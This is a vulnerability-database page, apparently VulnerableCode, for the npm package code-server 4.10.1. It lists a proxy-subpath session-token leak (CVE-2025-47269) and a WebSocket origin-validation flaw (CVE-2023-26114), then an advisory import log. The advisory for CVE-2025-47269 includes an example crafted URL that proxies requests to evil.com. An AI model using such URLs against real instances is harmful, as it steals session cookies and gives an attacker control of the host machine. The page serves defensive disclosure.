Staging Environment: Content and features may be unstable or change without notice.
Search for packages
Package details: pkg:npm/code-server@4.10.1
purl pkg:npm/code-server@4.10.1
Next non-vulnerable version 4.99.4
Latest non-vulnerable version 4.99.4
Risk 4.0
Vulnerabilities affecting this package (1)
Vulnerability Summary Fixed by
VCID-thn8-dwa6-zud1
Aliases:
CVE-2025-47269
GHSA-p483-wpfp-42cj
code-server runs VS Code on any machine anywhere through browser access. Prior to version 4.99.4, a maliciously crafted URL using the proxy subpath can result in the attacker gaining access to the session token. Failure to properly validate the port for a proxy request can result in proxying to an arbitrary domain. The malicious URL `https://<code-server>/proxy/test@evil.com/path` would be proxied to `test@evil.com/path` where the attacker could exfiltrate a user's session token. Any user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to /proxy. Normally this is used to proxy local ports, however the URL can reference the attacker's domain instead, and the connection is then proxied to that domain, which will include sending cookies. With access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server. This issue has been patched in version 4.99.4.
4.99.4
Affected by 0 other vulnerabilities.
Vulnerabilities fixed by this package (1)
Vulnerability Summary Aliases
VCID-pbjs-m2xn-w7hn Versions of the package code-server before 4.10.1 are vulnerable to Missing Origin Validation in WebSockets handshakes. Exploiting this vulnerability can allow an adversary in specific scenarios to access data from and connect to the code-server instance. CVE-2023-26114
GHSA-frjg-g767-7363

Date Actor Action Vulnerability Source VulnerableCode Version
2026-06-13T06:25:37.869073+00:00 GHSA Importer Fixing VCID-pbjs-m2xn-w7hn https://github.com/advisories/GHSA-frjg-g767-7363 38.6.0
2026-06-12T20:01:22.598182+00:00 GitLab Importer Affected by VCID-thn8-dwa6-zud1 https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/code-server/CVE-2025-47269.yml 38.6.0
2026-06-12T15:45:45.924522+00:00 GitLab Importer Fixing VCID-pbjs-m2xn-w7hn https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/code-server/CVE-2023-26114.yml 38.6.0
2026-06-12T07:58:41.787979+00:00 GithubOSV Importer Fixing VCID-pbjs-m2xn-w7hn https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2023/03/GHSA-frjg-g767-7363/GHSA-frjg-g767-7363.json 38.6.0